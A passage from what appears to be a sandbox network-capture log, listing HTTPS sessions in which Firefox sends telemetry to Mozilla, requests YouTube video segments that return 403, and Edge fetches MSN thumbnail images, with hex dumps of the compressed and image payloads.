10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://www.youtube.com/ Origin: https://www.youtube.com Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:45 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:45 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.6	50243	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:45 UTC	628	OUT	POST /submit/firefox-desktop/messaging-system/1/fa67d5ff-77bd-4aa6-a666-41287bce730e HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:45 GMT content-length: 731 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:45 UTC	731	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 9d 54 4d 8f db 36 10 fd 2f ba ee 8e 4b 8a a4 2c fb 96 43 50 f4 d0 16 88 53 f4 12 40 18 89 a3 35 b1 32 a5 92 d4 7a b7 c1 fe f7 0e 65 ef 36 88 9d 4d 10 40 90 84 e1 7c 3c be 99 37 9f 8b c9 f9 bb c6 f9 7e 2c b6 9f 8b 48 ff 14 5b 29 6f 8b 98 30 a4 26 b9 03 15 db a2 14 a5 06 21 41 d6 1f 45 b9 2d d5 8d 90 5b 21 8a db 82 bc fd be cf e3 44 81 7d 7c 8a a7 0a 61 02 b4 90 68 a0 03 a5 f0 04 61 1c 86 71 4e f9 b0 0d e8 bb 3d 67 eb 46 9f d8 be 84 a7 80 f9 2c 3d 4d b9 8e 77 87 76 8e af 41 19 43 fe cf f9 7f b3 7c 4e 5a d7 d8 a9 0a 94 41 09 ba 94 2d 60 45 15 58 b4 a6 ee 5b d5 af d7 9b e2 f9 79 49 4c 3e ba d1 47 38 b8 bb 80 89 7f c1 f1 73 98 c6 90 e0 e8 fe c5 60 41 ca ea 47 01 7e 05 a4 5e f7 4a ab ba 07 5b b6 25 68 5d 11 6c 48 19 68 65 d7 a1 64 Data Ascii: TM6/K,CPS@52ze6M@\|<7~,H[)o0&!AE-[!D}\|ahaqN=gF,=MwvAC\|NZA-`EX[yIL>G8s`AG~^J[%h]lHhed
2024-01-17 23:35:45 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:45 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.6	50242	173.194.57.39	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:45 UTC	1370	OUT	GET /videoplayback?expire=1346786392&ei=iLfHahFDxq7UY-1BtTnrg0m&ip=66.6.23.50&id=o-AFwJ3Bh3iSVhOC0GhDdF1oQ6Si2JwU3MmMTjAUsspsqww&itag=18&source=youtube&requiressl=yes&mh=X6&mm=293%2C30652%2C86954&mn=JS760%2C4L9T0%2CDVwMY&ms=JS760%2C4L9T0%2CDVwMY&mv=8&mvi=4&pl=60&ctier=L&initcwndbps=8341635&siu=4&spc=YMhnsDo-V3iaULrnWPEUxDVS41lomut8O73b0S072ZkZ&vprv=4&svpuc=4&mime=video%2Fmp4&ns=qwKoJk1u7yhLIsJaHJ9fuFR7&cnr=60&ratebypass=yes&dur=36949506&lmt=6219481202467914&mt=1346786392&fvip=3&c=WEB&txp=8341635&n=dJjgJ7l5Ht-sNq-c&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0 HTTP/1.1 Host: rr2---sn-q4fl6nz6.googlevideo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://www.youtube.com/ Origin: https://www.youtube.com Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:45 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:45 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.6	50245	173.194.57.39	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:45 UTC	1362	OUT	GET /videoplayback?expire=1346786392&ei=iLfHahFDxq7UY-1BtTnrg0m&ip=66.6.23.50&id=o-AFwJ3Bh3iSVhOC0GhDdF1oQ6Si2JwU3MmMTjAUsspsqww&itag=18&source=youtube&requiressl=yes&mh=X6&mm=293%2C30652%2C86954&mn=JS760%2C4L9T0%2CDVwMY&ms=JS760%2C4L9T0%2CDVwMY&mv=8&mvi=4&pl=60&initcwndbps=8341635&siu=4&spc=YMhnsDo-V3iaULrnWPEUxDVS41lomut8O73b0S072ZkZ&vprv=4&svpuc=4&mime=video%2Fmp4&ns=qwKoJk1u7yhLIsJaHJ9fuFR7&cnr=60&ratebypass=yes&dur=36949506&lmt=6219481202467914&mt=1346786392&fvip=3&c=WEB&txp=8341635&n=dJjgJ7l5Ht-sNq-c&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=80QE5JUe5UCVAfqCvcpOPCURHfw1y6UcEf5nosyOcjZiCW8sAKnSfn0ER1dyL3cW5WreMR5EXgF0EagtowxvFgRbC0Ub9VASPrwelhlRlpq0 HTTP/1.1 Host: rr2---sn-q4fl6nz6.googlevideo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://www.youtube.com/ Origin: https://www.youtube.com Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:45 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:45 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.6	50263	23.55.235.210	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:50 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:50 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 16 Jan 2024 06:02:05 GMT X-Source-Length: 822 X-Datacenter: northeu X-ActivityId: a865413f-48f9-42bd-ac64-5b6b516fedd4 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=282380 Expires: Sun, 21 Jan 2024 06:02:10 GMT Date: Wed, 17 Jan 2024 23:35:50 GMT Connection: close
2024-01-17 23:35:50 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 84 00 0d 09 0a 0b 0a 08 0d 0b 0a 0b 0e 0e 0d 0f 13 20 15 13 12 12 13 27 1c 1e 17 20 2e 29 31 30 2e 29 2d 2c 33 3a 4a 3e 33 36 46 37 2c 2d 40 57 41 46 4c 4e 52 53 52 32 3e 5a 61 5a 50 60 4a 51 52 4f 01 0e 0e 0e 13 11 13 26 15 15 26 4f 35 2d 35 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF`` ' .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO&&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO}!1AQa"q2#BR

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.6	50265	23.55.235.210	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:50 UTC	506	OUT	GET /tenant/amp/entityid/AA1cEE23?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:51 UTC	549	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cEE23?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Sat, 30 Dec 2023 09:41:42 GMT X-Source-Length: 15438 X-Datacenter: eastus X-ActivityId: 382ff73b-a343-4673-8e3a-72d5319cf4e3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=382152 Expires: Mon, 22 Jan 2024 09:45:03 GMT Date: Wed, 17 Jan 2024 23:35:51 GMT Connection: close
2024-01-17 23:35:51 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 84 00 0d 09 0a 0b 0a 08 0d 0b 0a 0b 0e 0e 0d 0f 13 20 15 13 12 12 13 27 1c 1e 17 20 2e 29 31 30 2e 29 2d 2c 33 3a 4a 3e 33 36 46 37 2c 2d 40 57 41 46 4c 4e 52 53 52 32 3e 5a 61 5a 50 60 4a 51 52 4f 01 0e 0e 0e 13 11 13 26 15 15 26 4f 35 2d 35 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF`` ' .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO&&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO}!1AQa"q2#BR

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.6	50267	23.55.235.210	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:51 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:51 UTC	549	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 17 Jan 2024 13:09:27 GMT X-Datacenter: northeu X-ActivityId: fa83dfa9-3bd2-4853-8f2b-fb183a0cc20f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=394406 Expires: Mon, 22 Jan 2024 13:09:17 GMT Date: Wed, 17 Jan 2024 23:35:51 GMT Connection: close
2024-01-17 23:35:51 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 84 00 0d 09 0a 0b 0a 08 0d 0b 0a 0b 0e 0e 0d 0f 13 20 15 13 12 12 13 27 1c 1e 17 20 2e 29 31 30 2e 29 2d 2c 33 3a 4a 3e 33 36 46 37 2c 2d 40 57 41 46 4c 4e 52 53 52 32 3e 5a 61 5a 50 60 4a 51 52 4f 01 0e 0e 0e 13 11 13 26 15 15 26 4f 35 2d 35 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF`` ' .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO&&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO}!1AQa"q2#BR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.6	50269	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:52 UTC	489	OUT	POST /submit/telemetry/75265401-2d75-4127-a70f-7d6e61df69a0/health/Firefox/118.0.1/release/20230927232528?v=4 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 Date: Thu, 18 Jan 2024 01:23:51 GMT Content-Encoding: gzip Content-Length: 336 Connection: keep-alive
2024-01-17 23:35:52 UTC	336	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a 6d 51 cb 6a c3 30 10 fc 17 9d 23 23 c9 f2 23 be 15 4a 20 87 e6 14 5a e8 a5 ac ad 15 16 c8 96 91 95 34 69 c8 bf 77 ed e6 d0 42 2f 02 cd ce 0c b3 b3 37 96 ae 13 b2 86 f5 08 3e f5 6c c3 9c a1 5f 55 a8 b2 d0 42 72 65 aa 82 6b a9 2a 0e 95 b0 bc 32 25 96 d2 d8 72 0b 82 b8 5d 44 48 2e 8c cf 90 16 0f 25 54 ce a5 e0 a2 38 8a b2 51 a2 c9 eb 4c 4b f1 4e cc 33 c6 99 88 ac d1 1b 06 d3 e4 5d b7 0a 59 73 63 10 bb de 25 ec d2 29 2e 26 97 ba e4 a5 26 49 7b 72 de ec cd c3 57 6c 55 a5 72 55 a8 9a 46 23 0c 0b 75 e7 22 da 70 f9 6d cf a4 ac 33 91 49 c2 8c 9b 27 0f d7 d7 7f 46 67 1c 4d 88 04 bd 84 2f e7 3d 10 44 d4 64 43 1c fe a3 5f a6 2e 0c 4f ad fb 49 f7 51 6a 3e cc e7 6e d9 bf 87 71 44 4f 78 44 8f 30 23 bb 93 13 5c 7d 00 b3 ac 16 e6 e5 7d a4 7d Data Ascii: mQj0###J Z4iwB/7>l_UBrek*2%r]DH.%T8QLKN3]Ysc%).&&I{rWlUrUF#u"pm3I'FgM/=DdC_.OIQj>nqDOxD0#\}}}
2024-01-17 23:35:52 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:52 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.6	50268	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:52 UTC	488	OUT	POST /submit/telemetry/86928e7f-6ba2-4b62-8ea8-d89cfd7a97ca/main/Firefox/118.0.1/release/20230927232528?v=4 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 Date: Thu, 18 Jan 2024 01:23:51 GMT Content-Encoding: gzip Content-Length: 9942 Connection: keep-alive
2024-01-17 23:35:52 UTC	9942	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a ed 7d 8d 6e e3 38 b6 e6 ab 04 1e cc e2 5e 6c e4 16 a9 ff 02 2e 76 1c db a9 78 cb 7f 63 3b 55 5d 33 18 08 b2 44 27 ba 91 2d b7 24 27 95 1e 14 b0 0f b1 4f b8 4f b2 e7 90 94 2c db b2 1c a7 92 ea b9 8b 1d 4c 97 15 89 22 cf 39 3c bf 1f 29 e9 9f 8d ec 79 cd 1a 1f 1a 4b 2f 5c 35 2e 1b 61 00 c7 b6 e9 50 9b 59 0b c5 9c 7b 54 d1 e7 26 55 6c e6 d9 4a 60 3b fe 22 b0 3c c7 f2 3d 68 eb 27 cc cb c2 78 d5 f1 32 ec 81 aa 54 53 88 aa a8 c6 4c 35 3f 50 f5 83 66 37 75 62 fc 0d 5a 3e b2 24 85 86 8d 0f fa 65 c3 5b af a3 d0 e7 37 36 3e fc b3 e1 25 fe 7d 98 31 3f db 24 d8 c9 37 db 54 4c 1d 6e 99 6f c2 28 e8 05 b2 5f d5 a1 16 d5 a8 41 6d b8 b4 f2 96 d8 f4 3a 4c d8 22 fe 56 ee be 41 88 dd 54 9b 04 ce 05 61 ba 8e bc e7 cf 15 97 1e d9 2a 88 13 38 35 88 Data Ascii: }n8^l.vxc;U]3D'-$'OO,L"9<)yK/\5.aPY{T&UlJ`;"<=h'x2TSL5?Pf7ubZ>$e[76>%}1?$7TLno(_Am:L"VATa*85
2024-01-17 23:35:52 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:52 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.6	50271	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:52 UTC	489	OUT	POST /submit/telemetry/4cb4db2a-ee68-4128-8ff4-f04bdc710c24/event/Firefox/118.0.1/release/20230927232528?v=4 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 Date: Thu, 18 Jan 2024 01:23:51 GMT Content-Encoding: gzip Content-Length: 2500 Connection: keep-alive
2024-01-17 23:35:52 UTC	2500	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a d5 58 7b 6f db 38 12 ff 2a 82 80 3d ec 02 91 ab 97 1d db c0 e2 ea 57 1e d8 38 0d f2 ea de 15 85 41 89 94 cd b3 5e 25 29 3b 6e d1 ef 7e 33 a4 ac c8 79 f4 f6 ba ff b4 01 92 48 c3 e1 70 38 8f df cc e8 8b ad 76 25 b3 87 36 db b0 5c d9 47 36 a7 f0 12 c6 51 48 23 9f 38 8c f5 fa 4e e8 f9 7d a7 9f 24 a1 93 b8 61 44 e3 63 cf 8d fd 10 78 63 c1 88 e2 45 3e 25 0a 45 f8 ae 1f 38 9e eb b8 dd 5b b7 37 f4 dd 61 e0 77 3c df fd 37 70 6e 98 90 c0 68 0f c3 23 9b 94 65 ca 63 bd d1 1e 7e b1 89 88 57 5c b1 58 55 02 85 3c f4 7b 4e 0f 85 47 15 4f e9 39 ad e5 ba 03 ff d8 0f fc ae df 87 a5 9c 64 c8 7a c2 05 4b 8a 87 b6 78 db f3 fa 1d b7 e3 01 8d 72 59 a6 64 77 ff c2 12 5c 95 16 02 48 f3 e2 33 4f 53 02 24 60 55 49 21 b2 97 d8 1f ca b8 c8 46 11 37 da 2d Data Ascii: X{o8*=W8A^%);n~3yHp8v%6\G6QH#8N}$aDcxcE>%E8[7aw<7pnh#ec~W\XU<{NGO9dzKxrYdw\H3OS$`UI!F7-
2024-01-17 23:35:52 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:52 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.6	50272	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:52 UTC	488	OUT	POST /submit/telemetry/3eb2db8e-f770-4c52-9d7b-27180bea4925/main/Firefox/118.0.1/release/20230927232528?v=4 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 Date: Thu, 18 Jan 2024 01:23:51 GMT Content-Encoding: gzip Content-Length: 8851 Connection: keep-alive
